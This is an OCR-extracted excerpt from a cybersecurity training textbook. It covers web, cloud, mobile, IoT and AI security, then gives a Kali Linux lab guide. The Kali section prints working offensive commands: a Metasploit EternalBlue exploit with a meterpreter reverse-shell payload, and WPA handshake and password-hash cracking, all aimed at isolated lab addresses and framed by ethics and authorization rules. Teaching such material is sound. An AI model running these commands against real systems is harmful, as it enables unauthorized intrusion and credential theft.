Cryptographic Failures

Injection (SQLi, LDAPi)

Insecure Design

Security Misconfiguration

Vulnerable and Outdated Components

N o g k~ o Db

Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures

10. Server-Side Request Forgery (SSRF)

10.8 Real-World Case Studies

1. Equifax Breach (2017):
o Cause: Unpatched Apache Struts vulnerability.
o Impact: 147 million personal records exposed.

2. Yahoo Breach (2013-2014):
o Cause: Web app security failures.
o Impact: 3 billion accounts compromised.

3. British Airways Breach (2018):
o Cause: Malicious script injected into payment page.

o Impact: 380,000 customer payment details stolen.

10.9 Web Security Architecture (Conceptual Diagram)

A secure web application typically includes:
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o WAF in front of the web server.

« DMZto isolate public-facing services.

« Database firewalls behind the application server.
o SSL/TLS termination points for encrypted traffic.

« Logging and monitoring via SIEM.

10.10 Summary

Web security is not optional—it’s a core requirement. Attackers exploit
poorly coded apps, unpatched systems, and weak configurations to steal
data and cause damage. By adopting secure coding practices, using
HTTPS, deploying WAFs, and following OWASP Top 10 guidelines,
developers and organizations can significantly reduce risks.
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Chapter 11: Cloud Security

11.1 Introduction

Cloud computing has transformed the way organizations store, process,
and manage data. Instead of relying solely on on-premises infrastructure,
businesses now use cloud services such as Amazon Web Services
(AWS), Microsoft Azure, and Google Cloud Platform (GCP).

While the cloud offers scalability, flexibility, and cost efficiency, it also
brings new security challenges. Unlike traditional IT, cloud systems are
built on shared responsibility between the cloud provider and the
customer. Misconfigurations, data breaches, and insecure APIs have
made cloud security one of the most critical areas of modern
cybersecurity.

11.2 Why Cloud Security is Important

1. Data Privacy: Sensitive data (financial records, medical data,
intellectual property) is often stored in the cloud.

2. Regulatory Compliance: Industries must comply with GDPR,
HIPAA, PCI DSS, ISO 27001.

3. Always-Online Nature: Cloud services are exposed to the internet,
making them prime hacker targets.

4. Multi-Tenancy Risks: Multiple organizations share the same cloud
resources, which increases attack surfaces.

5. Cost of Breaches: A cloud misconfiguration can expose millions of
records at once.

11.3 The Cloud Service Models

1. Infrastructure as a Service (laaS):
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o Example: AWS EC2, Azure VM.

o Customers manage OS, apps, and data, while the provider
secures hardware.

2. Platform as a Service (PaaS):
o Example: Google App Engine, AWS Lambda.

o Customers manage applications, while the provider manages
servers and OS.

3. Software as a Service (SaaS):
o Example: Gmail, Office 365, Dropbox.

o Provider manages everything, customers just use the
application.

11.4 Cloud Deployment Models
1. Public Cloud: Shared across multiple tenants (AWS, Azure, GCP).
2. Private Cloud: Exclusive to one organization, often on-premises.
3. Hybrid Cloud: Combination of private and public cloud.
4

. Community Cloud: Shared by organizations with similar needs (e.g.,
healthcare consortia).

11.5 Key Cloud Security Threats
1. Data Breaches
« Unsecured databases (e.g., AWS S3 buckets) often get exposed.

o Case:In 2019, Capital One exposed data of 100 million users due to
AWS misconfiguration.

2. Misconfigured Cloud Services

« Default permissions or open storage buckets.
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« Example: Publicly exposed cloud storage leading to leaks.
3. Insecure APIs

« Weak or poorly designed APls allow attackers to bypass
authentication.

« Example: Exploiting cloud API keys to access sensitive data.
4. Account Hijacking
« Stolen credentials allow attackers to take control of cloud accounts.
« Often due to phishing or weak password practices.
5. Denial-of-Service (DoS/DDoS)
» Attackers overload cloud servers, causing service outages
6. Insider Threats
« Employees or contractors with cloud access misuse privileges.
7. Shared Technology Vulnerabilities

« Attacks exploiting hypervisors or virtualization in multi-tenant
environments.

11.6 Cloud Security Mechanisms

1. Identity and Access Management (IAM):
o Role-based access control (RBAC).
o Least privilege principle.
o Example: AWS IAM policies to restrict actions.

2. Data Encryption:
o Encrypt at rest (storage) and in transit (network).
o Use Key Management Systems (KMS).

3. Cloud Firewalls & Security Groups:

o Restrict network access using inbound/outbound rules.
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Multi-Factor Authentication (MFA):

o Prevent account hijacking.

. Logging & Monitoring:

o AWS CloudTrail, Azure Security Center, GCP Security
Command Center.

. Backup & Disaster Recovery:

o Regular data snapshots and geo-redundant storage.

. Patch Management:

o Keep virtual machines and applications updated.

11.7 Cloud Security Tools

Cloud Security Posture Management (CSPM): Prisma Cloud,
Check Point Dome9.

Cloud Workload Protection Platforms (CWPP): Trend Micro,
McAfee.

SIEM Integration: Splunk, IBM QRadar for cloud logs.

WAF in Cloud: AWS WAF, Cloudflare.

11.8 Cloud Security Best Practices
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Use Zero Trust Architecture — verify every access request.
Disable unused ports and services.

Avoid hardcoding API keys in code.

Rotate credentials regularly.

Monitor cloud billing spikes (sign of cryptojacking).

Train employees on phishing prevention.
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11.9 Real-World Cloud Security Incidents
1. Capital One (2019):
o Misconfigured AWS S3 bucket.
o Data of 100 million customers exposed.
2. Microsoft Power Apps (2021):
o 38 million records exposed due to misconfigured settings.
3. Tesla (2018):

o Hackers hijacked Tesla’s AWS account to run cryptomining
malware.

11.10 Shared Responsibility Model (Diagram Explanation)

« Cloud Provider: Responsible for securing infrastructure (hardware,
hypervisor, storage).

« Customer: Responsible for securing applications, data, and access
management.

« Example: AWS secures the servers, but you must configure your S3
bucket properly.

11.11 Compliance in Cloud Security
« GDPR: Protect EU citizens’ data.
« HIPAA: Secure patient health data.
o PCIDSS: Secure credit card data in the cloud.

o ISO/IEC 27017 & 27018: Guidelines for cloud security and privacy.

11.12 Future of Cloud Security

« Al and ML in Security: Detect anomalies in cloud traffic.
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« Confidential Computing: Protect data even while it’s being
processed.

o Serverless Security: Securing AWS Lambda and Azure Functions.

« Quantum Computing Risks: Stronger encryption will be required.

11.13 Summary

Cloud security is not just the provider’s job—it is a shared responsibility.
Misconfigurations, insider threats, and insecure APIs are the biggest risks.
With proper IAM, encryption, monitoring, and compliance, cloud systems
can be more secure than traditional IT environments.
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Chapter 12: Mobile Security

12.1 Introduction

In today’s world, smartphones and tablets have become extensions of our
personal and professional lives. They store sensitive information such as
emails, banking credentials, corporate data, photos, location history,
and even biometric identifiers.

Because mobile devices are always connected to the internet and often
used on public Wi-Fi, they are prime targets for attackers. Mobile security
is about protecting mobile devices, applications, and the data they
process against threats like malware, phishing, data leakage, and
unauthorized access.

12.2 Why Mobile Security Matters

1. Personal Data Storage: Photos, messages, location, and financial
details.

2. Workplace Access (BYOD - Bring Your Own Device): Employees
often use personal devices for work, creating new risks.

3. Always Connected: Mobile devices are constantly online, increasing
exposure.

4. Weak User Awareness: Many users neglect updates, install
unverified apps, or use weak PINs.

5. Rapid Growth of Mobile Malware: Mobile malware has risen
sharply, especially on Android.

12.3 Common Mobile Security Threats

1. Malware & Spyware

o Apps that secretly monitor user activity.
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« Example: Pegasus spyware exploited iOS and Android to steal
messages, calls, and camera data.

. Phishing & Smishing
o Phishing links sent via SMS (smishing), email, or instant messaging.

« Example: A fake banking SMS asking users to log in to a fraudulent
site.

. Malicious Apps
o Fake appsin app stores that steal data.

« Example: Joker malware disguised as Android apps to steal SMS and
billing details.

. Unsecured Wi-Fi & Man-in-the-Middle (MITM) Attacks
» Attackers intercept traffic on public Wi-Fi.

« Example: Fake hotspots in airports stealing login credentials.

. Bluetooth Attacks

« Exploits like BlueBorne allow attackers to control devices via
Bluetooth.

. SIM Swapping

« Attackers trick telecom providers into reissuing a SIM card to gain
access to banking OTPs.

. Rooting and Jailbreaking

« Users remove manufacturer restrictions, exposing devices to
unverified apps and malware.

. Data Leakage from Apps

« Appsrequesting unnecessary permissions (contacts, camera,
location) and misusing them.

. Device Theft & Physical Security
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» Lostorstolen devices may contain unencrypted sensitive data.
12.4 Mobile Security Mechanisms
1. Authentication & Access Control
o Strong PINs, passwords, biometrics (fingerprint, Face ID).
o Multi-Factor Authentication (MFA).
2. Encryption
o Full-disk encryption protects data at rest.
o End-to-end encrypted apps (e.g., WhatsApp, Signal).
3. Application Security

o Install apps only from trusted stores (Google Play, Apple App
Store).

o Mobile Application Management (MAM) for enterprises.
4. Secure Network Usage

o Use VPNs when on public Wi-Fi.

o Disable Bluetooth and NFC when not needed.
5. Regular Updates & Patching

o Keep OS and apps up to date to fix vulnerabilities.
6. Mobile Device Management (MDM)

o Tools like Microsoft Intune, VMware AirWatch to secure
enterprise devices.

o Enforce encryption, remote wipe, app whitelisting.
12.5 Mobile Security Best Practices for Users
« Use strong passcodes (not birthdays or “1234”).
- Enable biometric authentication where possible.
« Do notroot orjailbreak devices.

» Review app permissions regularly.
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o Avoid clicking unknown SMS or email links.

« Always install security updates immediately.

o Enable remote wipe (Find My iPhone, Android Device Manager).
12.6 Enterprise Mobile Security (BYOD Challenges)

- Data Separation: Keep corporate data isolated from personal apps.

« App Wrapping & Containerization: Run work apps in secure
containers.

« Remote Monitoring: Detect compromised or outdated devices.

« Policy Enforcement: Control camera, USB, and file sharing features.

12.7 Mobile Security Tools
« Lookout Mobile Security: Malware and phishing detection.

« Kaspersky Mobile Security / Avast Mobile Security: Antivirus for
mobile.

o Zimperium zIPS: Advanced enterprise mobile threat defense.
o Jamf/Intune / AirWatch: MDM solutions for enterprises.

« Wireshark (on mobile traffic): For analyzing suspicious mobile
network behavior.

12.8 Real-World Mobile Security Incidents
1. Pegasus Spyware (2016-2021):
o A powerful spyware targeting iOS & Android.
o Could read messages, track calls, and activate cameras.
2. Stagefright Vulnerability (2015):

o Android bug allowed attackers to compromise devices with just
a malicious MMS.
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3. WhatsApp Hack (2019):
o Attackers used a missed call exploit to install spyware on
devices.
12.9 Mobile Security and Emerging Trends

« 5G Security Risks: Faster speeds mean more lol devices and more
attack surfaces.

« Biometric Advancements: Iris scans, voice recognition for stronger
authentication.

« Alin Mobile Security: Detecting unusual patterns in mobile traffic.
« Zero Trust Mobile Security: Verifying every app, network, and device
continuously.
12.10 Mobile Security Architecture (Conceptual Layout)
A secure mobile environment includes:
o Device Layer: Secure boot, encryption.
o App Layer: App sandboxing, permission control.
« Network Layer: VPN, HTTPS, secure DNS.

« Management Layer: MDM, remote wipe, monitoring.

12.11 Summary

Mobile devices are an integral part of daily life and business operations, but
they also introduce unique security risks. From malware and phishing to
SIM swapping and device theft, attackers continuously innovate ways to
exploit mobile vulnerabilities.

Strong authentication, encryption, secure app practices, MDM solutions,
and user awareness training form the foundation of mobile security. With
5G and IoT expansion, the importance of securing mobile devices will only

grow.
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Chapter 13: Internet of Things (loT) Security

13.1 Introduction

The Internet of Things (loT) refers to the growing network of connected

devices—smart thermostats, surveillance cameras, smart TVs, wearable

fitness trackers, industrial sensors, and even connected cars.

By 2030, it’s estimated that there will be over 25 billion loT devices

worldwide. While loT offers convenience, automation, and real-time data, it

also poses huge cybersecurity risks. Most lol devices were designed for

functionality, not security, making them easy targets for hackers.

13.2 Why loT Security Matters

1.

Sensitive Data: loT devices often collect personal health data,
location info, and home activity.

Always Connected: Devices are online 24/7, increasing the attack
window.

Weak Security: Many loT products ship with default passwords and
outdated firmware.

Scalability of Attacks: A single vulnerability can compromise
millions of devices simultaneously.

. Critical Infrastructure: lol is widely used in healthcare,

transportation, energy, and manufacturing—making attacks life-
threatening.

13.3 Common loT Security Threats

1. Default & Weak Passwords
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Many loT devices ship with default logins like admin/admin.

Attackers exploit this using automated tools.
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2. Unpatched Vulnerabilities

« loT vendors often stop providing security updates.

« Example: Old smart cameras left vulnerable to known exploits.
3. Botnets & DDoS Attacks

» Infected lol devices can be used in botnets.

« Case: Mirai Botnet (2016) hijacked thousands of loT devices, causing
one of the largest DDoS attacks ever (620 Gbps).

4. Data Interception (MITM)

o« Weak orno encryption allows attackers to sniff traffic between loT
devices and servers.

5. Physical Attacks

« Stolen loTl devices (like RFID tags or smart locks) can be reverse-
engineered.

6. Insecure APIs

« loT cloud APIs may expose sensitive functions if not properly
secured.

7. Ransomware on loT Devices

« Example: Smart TVs or connected cars being locked until ransom is
paid.

13.4 loT Security Challenges

 Low Processing Power: Many devices can’t handle strong
encryption.

« Lack of Standards: No universal loT security framework.

« Diversity of Devices: From medical devices to home gadgets, each
has different security needs.
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« Long Lifespan: Devices like smart refrigerators may run for 10-15
years without updates.

« User Awareness: Many consumers don’t change default settings.

13.5 loT Security Mechanisms
1. Authentication & Authorization
o Unique credentials per device.
o Role-based access control.
2. Secure Communication
o Use TLS/SSL for data in transit.
o Secure MQTT/CoAP protocols for loT messaging.
3. Firmware & Patch Management
o Automatic updates to fix vulnerabilities.
o Signed firmware to prevent tampering.
4. Device Hardening
o Disable unnecessary ports and services.
o Enforce least privilege.
5. Network Segmentation
o Isolate loT devices from main business networks.
o Example: Place smart TVs on a guest VLAN.
6. Intrusion Detection for loT

o Use Al/ML-based monitoring to detect abnormal loT behavior.

13.6 loT Security Best Practices for Users

« Change default passwords immediately.
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Regularly update device firmware.

Place lol devices behind a firewall or router.

Use a separate Wi-Fi network for loT devices.
Disable unused features (Bluetooth, UPnP, Telnet).

Monitor device behavior for unusual activity.

13.7 Enterprise loT Security

loT Device Inventory: Track all connected devices.
Zero Trust loT: Verify every request between devices.
Endpoint Detection & Response (EDR): Monitor lol endpoints.

Blockchain for loT Security: Immutable records for device
communication.

Edge Computing Security: Protect loT devices that process data at
the edge.

13.8 loT Security Tools

Shodan: Search engine for exposed loT devices.

loT Inspector: Detect insecure lol devices in a network.
Palo Alto loT Security: Enterprise loT threat detection.
Forescout: |oT device visibility and control.

Kaspersky loT Secure Gateway: Protects industrial loT
environments.

13.9 Real-World loT Security Incidents

1. Mirai Botnet (2016):
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o Hijacked loT cameras & DVRs.
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o Took down Twitter, Netflix, and Reddit with DDoS.
2. St. Jude Medical (2017):
o Pacemakers found vulnerable to wireless hacking.
o Could drain battery or alter pacing.
3. Jeep Hack (2015):

o Researchers remotely controlled a Jeep via its loT infotainment
system.

o Forced Fiat Chryslerto recall 1.4 million vehicles.

13.10 loT Security Regulations & Standards
o NIST loT Security Framework (SP 800-183)
o ISO/IEC 27030 - loT Security Guidelines
« ETSIEN 303 645 - Consumer loT Security Standard

o loT Cybersecurity Improvement Act (US, 2020) - requires federal loT
devices to follow strict security rules.

13.11 Future of loT Security
« Al & Machine Learning: Detect abnormal device behavior.
« b5G-enabled loT: Increases speed but also attack surfaces.

« Quantum-Safe Encryption: Preparing lol for quantum computing
threats.

« Autonomous loT Security Agents: Self-healing loT systems.
13.12 loT Security Architecture (Conceptual Layout)
A secure loT ecosystem includes:

« Device Layer: Secure boot, firmware protection, unique IDs.
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- Gateway Layer: Firewalls, intrusion prevention, encryption.
o Cloud Layer: Secure APIs, monitoring, compliance enforcement.

o Application Layer: User authentication, access control, data
privacy.

13.13 Summary

loT security is one of the biggest challenges in modern cybersecurity. With
billions of devices online, attackers can weaponize insecure devices to
steal data, cause physical harm, or disrupt critical infrastructure.

To secure loT, organizations and individuals must enforce strong
authentication, encryption, patching, and network segmentation, while
governments push for standards and regulations.

loT security is not just about protecting devices—it’s about safeguarding
entire ecosystems.
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Chapter 14: Artificial Intelligence (Al) in
Cybersecurity

14.1 Introduction

Artificial Intelligence (Al) and Machine Learning (ML) are reshaping every
industry, and cybersecurity is no exception. The vast amount of data
generated from logs, sensors, user activities, and threat intelligence makes
traditional manual analysis impossible.

Al enables real-time detection, automated response, and predictive
security—helping defenders stay ahead of increasingly sophisticated
cyberattacks. However, attackers are also weaponizing Al, creating new
threats like Al-driven phishing, malware, and deepfakes.

Thus, Al in cybersecurity is a double-edged sword: it strengthens defense
but also powers smarter attacks.

14.2 Why Al is Important in Cybersecurity

1. Data Overload: Modern enterprises generate terabytes of security
data daily. Al filters and analyzes it faster than humans.

2. Advanced Threats: Zero-day exploits and polymorphic malware
require adaptive defenses.

3. Automation: Al can automatically isolate infected devices or block
malicious IPs.

4. Predictive Analysis: Al can forecast potential attack patterns before
they occur.

5. Skill Gap: Global shortage of cybersecurity professionals makes Al-
powered automation crucial.
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14.3 Applications of Al in Cybersecurity
1. Threat Detection & Analysis
« Al models analyze logs, traffic patterns, and anomalies.

o Example: Identifying unusual login times or geographic anomalies in
user behavior.

2. Malware Detection

« Traditional antivirus relies on signatures. Al detects unknown
malware using behavior-based analysis.

« Example: Detecting ransomware before encryption starts.
3. Phishing Detection

« Al scans emails for suspicious language, sender reputation, and
links.

« Example: Gmail uses ML to block 100 million phishing emails daily.
4. Network Intrusion Detection

o Al-powered IDS/IPS systems analyze packets in real-time to block
attacks.

« Example: Detecting unusual lateral movement inside a corporate
network.

5. Fraud Detection in Finance
« Al monitors transactions for anomalies.

« Example: Credit card companies detect suspicious purchases
instantly.

6. Automated Incident Response

« Al-powered SOAR platforms (Security Orchestration, Automation,
and Response) automatically execute response playbooks.

7. ldentity & Access Management (IAM)

« Al enforces adaptive authentication based on user behavior.
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Example: If a login attempt comes from an unusual device/location,
MFA is triggered.

8. Dark Web Monitoring

Al scans forums, markets, and hidden services for leaked
credentials.

14.4 Al Techniques Used in Cybersecurity

1.

2.

Machine Learning (ML): Classifying malware, detecting anomalies.

Deep Learning: Neural networks analyzing complex patterns in
traffic.

. Natural Language Processing (NLP): Analyzing phishing emails and

fake news.

Reinforcement Learning: Al agents that adapt responses to evolving
threats.

. Generative Adversarial Networks (GANs): Used by attackers for

deepfakes, but also by defenders to generate synthetic training data.

14.5 How Hackers Use Al (Offensive Al)

1.

2.
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Al-Powered Phishing: Creating more convincing phishing messages.

Deepfakes: Fake audio/video of executives used in fraud.

. Adversarial Al Attacks: Tricking Al models with manipulated data

(e.g., altering malware to bypass detection).

Automated Vulnerability Scanning: Al bots finding weaknesses
faster.

. Password Cracking with Al: Al models predict likely passwords

based on user data.
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14.6 Al-Enhanced Security Tools

Darktrace: Al-driven anomaly detection for enterprises.
CrowdStrike Falcon: Al-powered endpoint protection.
CylancePROTECT: Uses Al to predict and prevent malware.

IBM QRadar + Watson: Al-enhanced SIEM for threat intelligence.

Splunk UBA: Machine learning for user behavior analytics.

14.7 Benefits of Al in Cybersecurity

Speed & Efficiency: Real-time detection vs. human hours.
Reduced False Positives: Smarter models reduce alert fatigue.
Predictive Power: Identifies attack trends before they happen.

Automation: Frees human analysts for critical tasks.

14.8 Challenges & Limitations of Al in Cybersecurity

1.

2.

Data Quality Issues: Al is only as good as the data it’s trained on.

Adversarial Attacks: Hackers can “poison” Al models.

. High Cost & Complexity: Al systems require expertise and

resources.

False Negatives: Al may still miss highly sophisticated attacks.

. Ethical Concerns: Al surveillance may raise privacy issues.

14.9 Case Studies in Al & Cybersecurity

1.

2.
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Microsoft Defender ATP (2019):

o Al stopped a massive malware campaign spreading via email
within minutes.

Deepfake CEO Scam (2020):
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o Criminals used Al-generated voice to impersonate a CEO,
tricking a company into transferring $243,000.

3. Darktrace in Healthcare:
o Detected ransomware in hospitals before patient data was
encrypted.
14.10 Future of Al in Cybersecurity

o Al-Powered SOCs: Security Operations Centers will rely heavily on
Al.

o Quantum + Al Security: Preparing Al systems for quantum attacks.

« Autonomous Cyber Defense: Al systems capable of fighting Al-
driven attacks with little human input.

« Ethical Al Security: Transparent Al systems to ensure privacy and
fairness.
14.11 Al in Cybersecurity Architecture (Conceptual Layout)
1. Data Layer: Collects logs, events, traffic.
2. Al Processing Layer: ML models analyze anomalies.
3. Response Layer: Automated containment, isolation, or alerting.

4. Human Oversight: Analysts review Al decisions.

14.12 Summary

Al is revolutionizing cybersecurity by providing faster, smarter, and
predictive defense mechanisms. It enables real-time detection,
automated response, and adaptive protection.

However, attackers also use Al to create smarter phishing, deepfakes, and
adversarial attacks. The future of cybersecurity will be a battle of Al vs.
Al, where defenders and attackers continuously evolve their
technologies.

AT should be seen as an ally, not a replacement for human security teams. The

most effective defense combines Al-driven automation with human expertise.
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Overview

Kali Linux is a Debian-based Linux distribution purpose-built for
penetration testing, ethical hacking, and security research. Maintained
by Offensive Security, Kali integrates hundreds of security tools and is
widely used by security professionals, red teams, and educators. This
chapter gives a deep, practical introduction: history, philosophy,
installation, basic administration, common workflows, security

considerations, and suggested labs for students.
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Contents (this chapter)
1. What is Kali Linux? — Purpose & philosophy
Short history and lineage (BackTrack > Kali)
Editions & platforms (ISO, ARM, cloud images)
Installing Kali— options and step-by-step (VM, Live USB, bare metal)
First boot & initial configuration (users, networking, updates)

Kali filesystem & Debian basics

N o g k~ o Db

Package management: apt, dpkg, repositories, metapackages
8. Desktop environments & CLI (XFCE, GNOME, KDE, headless)
9. Networking basics in Kali (interfaces, tools, persistent settings)
10. Common commands and workflow for security testing

11. Metapackages and tool categories (info gathering, exploitation,
forensics, wireless...)

12. Kali tools overview — practical examples (Nmap, Metasploit,
Burp, Aircrack-ng, John, Wireshark, etc.)

13. Creating and using a Kali lab (VMs, vulnerable targets,
networking)

14. Hardening and operational security (OpSec) when using Kali
15. Legal & ethical responsibilities, safe practice

16. Teaching labs, exercises and projects (detailed)

17. Troubleshooting & common pitfalls

18. Resources, further reading and certifications

19. Appendix: useful commands, config examples, cheat sheets
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1. What is Kali Linux?

Kali Linux is a specialized distribution containing hundreds of preinstalled

security tools for tasks such as:

Information gathering and reconnaissance
Vulnerability analysis

Exploitation and post-exploitation
Wireless attacks and Bluetooth testing
Reverse engineering and malware analysis
Forensics and incident response

Password cracking and credential auditing

Kali is not a general-purpose desktop OS — it's optimized for security work.

That said, it can be used as a daily driver with appropriate configuration.

2. Short history

BackTrack (2006-2013): The predecessor specialized in security
tools, built on Ubuntu.

Kali Linux (2013-present): Rebuilt from Debian by Offensive Security
to provide a secure, maintainable and up-to-date penetration testing
platform. Kali emphasizes reproducibility, package maintenance, and
a wide array of architectures.

Key idea: Kali gives you a consolidated, maintained toolkit—no need to

individually research, compile, and configure dozens of tools.

3. Editions & platforms

Kali is available for many platforms:
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Standard ISO (installer for PCs) — x86_64.

Live ISO — run from USB without install.
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Virtual images — preconfigured VMware and VirtualBox images.
ARM images — Raspberry Pi, Odroid, Pinebook, etc.
Cloud images — AMI for AWS, images for Azure / GCP.

Netlnstaller — minimal network install.

4. Installation: options & step-by-step

4.1 Decide your target environment

Learning / safe testing: Use a VM (VirtualBox or VMware
Workstation).

Hands-on wireless labs: Live USB with persistent storage or bare
metal install on a dedicated machine.

Performance: Bare metal or appropriately provisioned cloud/VM.

4.2 Download & verify

1.

2.

Download ISO from official site: https://www.kali.org.

Verify checksum and PGP signature to ensure authenticity.

4.3 Install in VirtualBox (recommended for students)

1.
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Create VM: 2 CPU cores, 4-8 GB RAM (8+ recommended for heavy
work), disk 50+ GB.

. Attach Kali ISO to optical drive.

Boot VM, choose Graphical install.

Partition: use guided — entire disk for simplicity. For dual-boot or
encryption, choose LVM and encrypt if required.

. Setroot/ primary user: Kali uses non-root user by default in newer

releases. Create a strong password.
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6. Install GRUB to the primary disk.

4.4 Live USB with persistence

o Usetools like Rufus (Windows) or dd (Linux/macQS) to write ISO to
USB.

o Create a separate persistence partition to save changes. Name the
partition persistence and create a file /persistence.conf with / union
content to enable persistent overlay.

5. First boot & initial configuration

« Configure network: use NetworkManager for dynamic IPs or manual
config in /etc/network/interfaces.

o« Set hostname: sudo hostnamectl set-hostname kali-lab.

o« Addusers:

6. Kali filesystem & Debian basics
o Kaliinherits Debian filesystem layout: /etc, /var, /usr, /home, /opt.
« Tools installed into /usr/bin, /usr/sbin, /opt.
« Configuration files often in /etc (e.g., /etc/apt/sources.list).
Key directories:
o /root—root user home.
o /home/<user>— user files.
« /etc/apt/sources.list—repos.

» /etc/network and NetworkManager — network config.
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7. Package management: apt & dpkg

7.1 The basics

o Update package lists: sudo apt update

o Upgrade packages: sudo apt upgrade or sudo apt full-upgrade

« Install packages: sudo aptinstall <package>

« Remove: sudo apt remove <package>

o Search: apt-cache search <term> or apt search <term>
7.2 Kali repositories & metapackages
Kali provides metapackages to install tool collections:

o kali-linux-default — default toolset.

o kali-linux-large — larger set.

« kali-linux-everything — installs virtually all Kali tools (very large).
Important: Avoid mixing Debian/Ubuntu repos; use official Kali repos only.
7.3 Using dpkg for .deb

» Install alocal .deb: sudo dpkg -i package.deb

o Fixbroken deps: sudo apt -f install

8. Desktop environments & CLI
o XFCE is the default (lightweight, fast).
« GNOME, KDE, MATE are available.

o Forservers/headless use: install only kali-linux-headless or use Kali
Netinstall.

CLlis central to Kali: learn Bash, piping, redirection, and common tools.
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9. Networking basics in Kali

Important commands:

ip a or ifconfig — view interfaces.

nmcli — control NetworkManager from CLI.
iwconfig / iw — wireless interface management.
rfkill — unblock wireless.

airmon-ng — enable monitor mode (part of aircrack-ng).

10. Common commands & workflow for security testing

Basic command set students must master:

File ops: ls, cd, cp, myv, rm, cat, less

Process & system: ps aux, top, htop, kill, systemctl
Networking: ip, ss, netstat, nmap, tcpdump, wireshark
Package & updating: apt, dpkg

Searching: grep, awk, sed, find

Scripting basics: bash, creating executable scripts chmod +x
script.sh

Workflow example — simple Recon:

—
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. whois example.com (domain ownership)

dig example.com any (DNS records)

. nmap -sC -sV -oN nmap_scan.txt example.com (initial port/service

scan)

nikto -h http://example.com (webserver scan)

. gobuster dir -u http://example.com -w

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
(discover web directories)
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11. Metapackages & tool categories

Kali organizes tools by purpose. Not exhaustive, but core categories:

« Information Gathering: Nmap, Recon-NG, theHarvester, Maltego
o Vulnerability Analysis: OpenVAS, Nikto, Vega

« Web Application: Burp Suite, OWASP ZAP, SQLmap, wpscan

« Exploitation: Metasploit Framework, Armitage

« Wireless Attacks: Aircrack-ng suite, Kismet, Reaver

« Password Attacks: John the Ripper, Hashcat, Hydra

« Sniffing & Spoofing: Wireshark, Ettercap, THC-SSL-DOS
 Reverse Engineering: Ghidra, Radare2, Binary Ninja (third-party)
« Forensics: Autopsy, Sleuth Kit, Volatility

« Hardware/loT: Binwalk, firmware tools

12. Kali tools — short practical examples
12.1 Nmap (network scanner)

« Discover hosts and services:
nmap -sS -p- -T4 -A-v 192.168.56.0/24

e -sSTCP SYN scan, -p- all ports, -A OS & version detection.

12.2 Metasploit
» Start console: msfconsole
« Search for exploits: search smb
« Load exploit and set options:
use exploit/windows/smb/ms17_010_eternalblue

set RHOST 192.168.56.101
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set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
exploit

12.3 Burp Suite

« Intercept browser traffic by configuring proxy (127.0.0.1:8080), then
test for injections and CSRF.

12.4 Aircrack-ng (wireless)

« Capture handshake with airodump-ng, then crack:
airmon-ng start wlanO
airodump-ng --bssid <BSSID> -c <channel> -w capture wlanOmon
aircrack-ng -w wordlist.txt capture-01.cap
12.5 John the Ripper / Hashcat

o Extract hashes, then crack with wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt /path/to/hashfile

hashcat -m 1000 -a 0 hashfile.txt rockyou.txt

12.6 Wireshark/tcpdump
« Capture tcpdump:
sudo tcpdump -i ethO -w capture.pcap

wireshark capture.pcap

13. Creating and using a Kali lab

A secure lab is essential for students.
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13.1 Lab topology (recommended)
o Host OS - runs VirtualBox/VMware.
« Kali VM > attacker machine.
« TargetVMs > Metasploitable2/3, OWASP DVWA, WebGoat.

o Internal network (Host-only or NAT network) to isolate lab from real
internet.

o Optional: a dedicated router VM and a logging/SIEM VM like ELK.

13.2 Example VM setup

« KaliVM: 2 CPUs, 8 GB RAM, 60 GB disk.

« Metasploitable: 1 CPU, 1 GB RAM, 20 GB disk.

« Network: Host-only adapter for attacker & targets.
13.3 Safety rules

« Never connect test attacks to the real internet.

o LabelVMs and snapshots to revert easily.

o Use snapshots before major experiments.

14. Hardening & operational security (OpSec)

Kali is a powerful tool — but operational security matters:
o Don’trunscans from public networks; respect laws and targets.
» Keep Kali updated: sudo apt update && sudo apt full-upgrade -y.
« Use non-root user for daily tasks; use sudo when needed.
« Remove unnecessary services (e.g., OpenSSH) if not in use.

« Secure SSH with key authentication; disable password auth.
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« Wipe sensitive data after exercises (use shred/srm or full-disk
encryption).

15. Legal & Ethical Responsibilities

Teaching and practicing security should emphasize legality:
« Always have written authorization before testing live systems.
« Useresponsible disclosure if you find a vuln.

« Understand local laws (instructor should cover UAE laws if teaching
in Dubai).

e Include an ethics module and a signed Code of Conduct for
students.

16. Teaching labs & exercises (detailed)
Below are progressive labs that fill a semester and build skills.
Lab 1 — Environment setup
o Install Kaliin VirtualBox.
e Import Metasploitable / DVWA.
» Isolate network (Host-only).
Lab 2 — Reconnaissance
« Use nmap to discover open ports/services.
o UsetheHarvester for OSINT (emails and subdomains).
« Save outputs, discuss footprinting ethics.
Lab 3 — Web app testing (DVWA)
« Set DVWAto low security.
o Use Burp to intercept traffic and perform SQLi and XSS.

o Use sqlmap to automate SQL injection.
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Lab 4 — Exploitation (Metasploitable)

« Use Metasploit to exploit a known vulnerability and obtain
meterpreter.

« Practice post-exploit enumeration and cleanup.
Lab 5 — Wireless & cracking (requires proper hardware)

« Use Aircrack suite to capture handshake and attempt cracking with
wordlists.

Lab 6 — Password cracking & hash analysis

o Capture SAM hashes from a Windows VM (with permission in lab)
and crack with John/hashcat.

Lab 7 — Forensics & incident response

« Use Autopsy and Volatility on an image to recover deleted files and
analyze a memory dump.

Lab 8 — Red team exercise

« Students perform controlled attack from recon to exfiltration against
a hardened VM; blue team monitors and responds.

17. Troubleshooting & common pitfalls

« No wireless monitor mode: check adapter chipset and drivers (use
airmon-ng check kill).

o Slow VM: enable VT-x/AMD-V in BIOS, install guest additions,
allocate more RAM.

« Broken apt: fix with sudo apt -f install or clear sources list.

« Metasploit DB errors: sudo msfdb init or sudo systemctl start
postgresql.

Pg.103 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007
Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

18. Resources & further reading
« Official Kali docs: https://www.kali.org/docs/
« Offensive Security training: https://www.offensive-security.com/

o Books: Kali Linux Revealed (official Kali book), The Web Application
Hacker’s Handbook, Metasploit: The Penetration Tester’s Guide

« Practice platforms: TryHackMe, Hack The Box, VulnHub.

19. Appendix — Cheat sheets & useful snippets
A. Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlanOmon
